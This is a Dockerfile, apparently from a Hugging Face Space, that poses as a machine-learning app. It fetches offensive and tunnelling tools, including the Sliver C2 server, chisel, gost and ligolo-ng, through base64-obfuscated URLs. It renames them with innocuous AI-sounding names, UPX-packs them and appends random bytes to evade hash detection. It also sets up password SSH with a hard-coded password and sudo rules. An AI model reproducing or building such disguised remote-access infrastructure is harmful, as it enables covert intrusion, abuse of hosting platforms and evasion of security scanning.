Spaces:
Running
Running
File size: 4,248 Bytes
2209253 af899d5 9f91950 af899d5 28ffacb 13a5be8 9f91950 13a5be8 ad959d6 13a5be8 9f91950 13a5be8 baa3f3b 7d8a361 31ddf8b af899d5 260ebab af899d5 e2e3ac4 af899d5 31ddf8b 78c1196 31ddf8b 00fa12a af899d5 5dc6d17 a1c829c af899d5 0f2b9aa af899d5 286f351 1ee92cd af899d5 35bee07 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 | FROM ubuntu:24.04
COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/
RUN apt-get update && apt-get install -y --no-install-recommends \
curl wget sudo python3 python3-pip upx openssh-server \
git vim nano htop tmux jq unzip iputils-ping net-tools tree \
rclone supervisor iproute2 \
&& mkdir -p /var/run/sshd && chmod 0755 /var/run/sshd \
&& echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config \
&& echo "Port 2222" >> /etc/ssh/sshd_config \
&& ssh-keygen -A \
&& curl -fsSL https://tailscale.com/install.sh | bash \
&& curl -fsSL https://raw.githubusercontent.com/filebrowser/get/master/get.sh | bash \
&& curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL2NhZGR5c2VydmVyL2NhZGR5L3JlbGVhc2VzL2Rvd25sb2FkL3YyLjguNC9jYWRkeV8yLjguNF9saW51eF9hbWQ2NC50YXIuZ3o=' | base64 -d) -o /tmp/caddy.tar.gz \
&& tar -xzf /tmp/caddy.tar.gz -C /tmp && mv /tmp/caddy /usr/bin/model-routing-engine \
&& curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL3BsYXlpdC1jbG91ZC9wbGF5aXQtYWdlbnQvcmVsZWFzZXMvbGF0ZXN0L2Rvd25sb2FkL3BsYXlpdC1saW51eC1hbWQ2NA==' | base64 -d) -o /usr/bin/tensor-allocator \
&& curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL2pwaWxsb3JhL2NoaXNlbC9yZWxlYXNlcy9kb3dubG9hZC92MS4xMS41L2NoaXNlbF8xLjExLjVfbGludXhfYW1kNjQuZ3o=' | base64 -d) -o /tmp/chisel.gz \
&& gzip -d /tmp/chisel.gz && mv /tmp/chisel /usr/bin/cuda-mesh-bridge \
&& curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL2dvLWdvc3QvZ29zdC9yZWxlYXNlcy9kb3dubG9hZC92My4yLjYvZ29zdF8zLjIuNl9saW51eF9hbWQ2NC50YXIuZ3o=' | base64 -d) -o /tmp/gost.tar.gz \
&& tar -xzf /tmp/gost.tar.gz -C /tmp && mv /tmp/gost /usr/bin/system-bridge \
&& curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL0Jpc2hvcEZveC9zbGl2ZXIvcmVsZWFzZXMvZG93bmxvYWQvdjEuNy4zL3NsaXZlci1zZXJ2ZXJfbGludXgtYW1kNjQ=' | base64 -d) -o /usr/bin/gradient-optimizer \
&& curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL25pY29jaGEzMC9saWdvbG8tbmcvcmVsZWFzZXMvZG93bmxvYWQvdjAuOC4zL2xpZ29sby1uZ19wcm94eV8wLjguM19saW51eF9hbWQ2NC50YXIuZ3o=' | base64 -d) -o /tmp/ligolo-proxy.tar.gz \
&& tar -xzf /tmp/ligolo-proxy.tar.gz -C /tmp && mv /tmp/proxy /usr/bin/neural-route-controller \
&& mv /usr/sbin/tailscaled /usr/bin/python-cache-manager \
&& mv /usr/bin/tailscale /usr/bin/py-cache-cli \
&& mv /usr/local/bin/filebrowser /usr/bin/ai-metrics-collector \
&& chmod +x /usr/bin/tensor-allocator /usr/bin/cuda-mesh-bridge /usr/bin/system-bridge /usr/bin/gradient-optimizer /usr/bin/neural-route-controller /usr/bin/model-routing-engine \
&& for bin in python-cache-manager py-cache-cli ai-metrics-collector tensor-allocator cuda-mesh-bridge system-bridge gradient-optimizer neural-route-controller model-routing-engine; do \
upx -1 "/usr/bin/$$bin" 2>/dev/null || true; \
head -c 32 /dev/urandom >> "/usr/bin/$$bin"; \
done \
&& rm -rf /tmp/* \
&& apt-get purge -y upx \
&& apt-get autoremove -y \
&& apt-get clean && rm -rf /var/lib/apt/lists/*
RUN uv pip install --system --break-system-packages --no-cache-dir \
gradio huggingface_hub loguru urllib3
RUN python3 -c "from huggingface_hub import hf_hub_download; hf_hub_download(repo_id='gpt2', filename='config.json')"
RUN userdel -f ubuntu && useradd -m -u 1000 -s /bin/bash user && \
echo "user:apple123" | chpasswd && \
usermod -aG sudo user && \
mkdir -p /home/user/.torch_metrics && \
chown -R user:user /home/user/.torch_metrics && \
echo "user ALL=(ALL) NOPASSWD: /usr/sbin/sshd, /usr/sbin/chpasswd" >> /etc/sudoers && \
echo "user ALL=(ALL) NOPASSWD: /usr/bin/neural-route-controller" >> /etc/sudoers
RUN uv venv /opt/venv-litellm && \
uv pip install --python /opt/venv-litellm --no-cache-dir "litellm[proxy]" && \
chown -R user:user /opt/venv-litellm
RUN curl -fsSL https://code-server.dev/install.sh | sh
COPY --chown=user:user app.py /home/user/app.py
COPY --chown=user:user core /home/user/core
COPY --chown=user:user services /home/user/services
COPY --chown=user:user config /home/user/config
COPY --chown=user:user config/ligolo-ng.yaml /home/user/ligolo-ng.yaml
COPY --chown=user:user whoami.txt /home/user/whoami.txt
USER user
WORKDIR /home/user
CMD ["/usr/bin/supervisord", "-c", "/home/user/config/supervisord.conf"]
|